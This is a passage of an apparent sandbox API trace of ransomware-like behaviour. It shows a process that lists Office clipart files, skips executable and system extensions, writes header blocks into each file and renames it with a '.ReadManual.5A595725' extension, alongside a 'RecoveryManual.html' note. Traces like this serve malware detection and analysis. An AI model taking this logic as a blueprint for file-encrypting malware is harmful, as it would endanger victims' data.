lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.447] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.447] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc9c) returned 0x2f0000 [0260.448] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.448] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38111721060) returned 1 [0260.448] CloseHandle (hObject=0x184) returned 1 [0260.449] SetSecurityInfo () returned 0x57 [0260.449] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.449] CloseHandle (hObject=0x194) returned 1 [0260.451] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0260.451] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04369_.WMF" | out: lpString1="AN04369_.WMF") returned="AN04369_.WMF" [0260.451] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.451] StrStrIW (lpFirst="AN04369_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.451] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.451] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.451] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" [0260.451] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.ReadManual.5A595725" [0260.451] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.ReadManual.5A595725") returned 87 [0260.451] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38111992413) returned 1 [0260.451] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0260.451] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.452] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4808) returned 1 [0260.452] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c8, lpName=0x0) returned 0x184 [0260.452] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.452] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.452] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.454] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.454] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c8) returned 0x2f0000 [0260.454] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38112304780) returned 1 [0260.454] CloseHandle (hObject=0x184) returned 1 [0260.454] SetSecurityInfo () returned 0x57 [0260.454] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.455] CloseHandle (hObject=0x194) returned 1 [0260.455] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0260.455] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04384_.WMF" | out: lpString1="AN04384_.WMF") returned="AN04384_.WMF" [0260.455] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.455] StrStrIW (lpFirst="AN04384_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.455] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.455] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.456] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.456] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.456] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" [0260.456] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.ReadManual.5A595725" [0260.456] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.ReadManual.5A595725") returned 87 [0260.456] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38112443687) returned 1 [0260.456] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0260.456] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.456] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4996) returned 1 [0260.456] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1384, lpName=0x0) returned 0x184 [0260.456] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.460] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.460] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.462] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.462] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1384) returned 0x2f0000 [0260.462] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.462] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38113067362) returned 1 [0260.462] CloseHandle (hObject=0x184) returned 1 [0260.462] SetSecurityInfo () returned 0x57 [0260.462] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.462] CloseHandle (hObject=0x194) returned 1 [0260.463] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0260.463] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04385_.WMF" | out: lpString1="AN04385_.WMF") returned="AN04385_.WMF" [0260.463] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.463] StrStrIW (lpFirst="AN04385_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.463] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.463] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.463] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" [0260.463] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.ReadManual.5A595725" [0260.463] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.ReadManual.5A595725") returned 87 [0260.463] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38113227787) returned 1 [0260.464] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0260.464] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.465] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5004) returned 1 [0260.465] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138c, lpName=0x0) returned 0x184 [0260.465] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.465] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.465] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.467] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.467] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138c) returned 0x2f0000 [0260.467] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.467] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38113596827) returned 1 [0260.467] CloseHandle (hObject=0x184) returned 1 [0260.467] SetSecurityInfo () returned 0x57 [0260.467] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.467] CloseHandle (hObject=0x194) returned 1 [0260.468] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0260.468] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BABY_01.MID" | out: lpString1="BABY_01.MID") returned="BABY_01.MID" [0260.468] lstrcmpiW (lpString1="BABY_01.MID", lpString2="RecoveryManual.html") returned -1 [0260.468] StrStrIW (lpFirst="BABY_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.468] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0260.468] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0260.468] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0260.468] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0260.468] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0260.468] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0260.468] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0260.468] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0260.468] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0260.468] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0260.468] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0260.468] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0260.468] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0260.469] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0260.469] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" [0260.469] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.ReadManual.5A595725" [0260.469] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.ReadManual.5A595725") returned 86 [0260.469] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38113741699) returned 1 [0260.469] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0260.470] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.470] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7384) returned 1 [0260.470] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cd8, lpName=0x0) returned 0x184 [0260.470] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0260.470] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.470] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.472] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.472] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cd8) returned 0x2f0000 [0260.472] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.472] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38114122684) returned 1 [0260.473] CloseHandle (hObject=0x184) returned 1 [0260.473] SetSecurityInfo () returned 0x57 [0260.473] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.473] CloseHandle (hObject=0x194) returned 1 [0260.473] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0260.473] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD00116_.WMF" | out: lpString1="BD00116_.WMF") returned="BD00116_.WMF" [0260.473] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.473] StrStrIW (lpFirst="BD00116_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.473] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.473] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.473] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" [0260.473] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.ReadManual.5A595725" [0260.473] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.ReadManual.5A595725") returned 87 [0260.473] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38114214314) returned 1 [0260.473] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0260.474] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.474] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4870) returned 1 [0260.474] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1306, lpName=0x0) returned 0x184 [0260.475] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.475] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.475] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.477] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.477] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1306) returned 0x2f0000 [0260.477] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.477] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38114591569) returned 1 [0260.477] CloseHandle (hObject=0x184) returned 1 [0260.477] SetSecurityInfo () returned 0x57 [0260.477] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.477] CloseHandle (hObject=0x194) returned 1 [0260.478] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0260.478] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD00141_.WMF" | 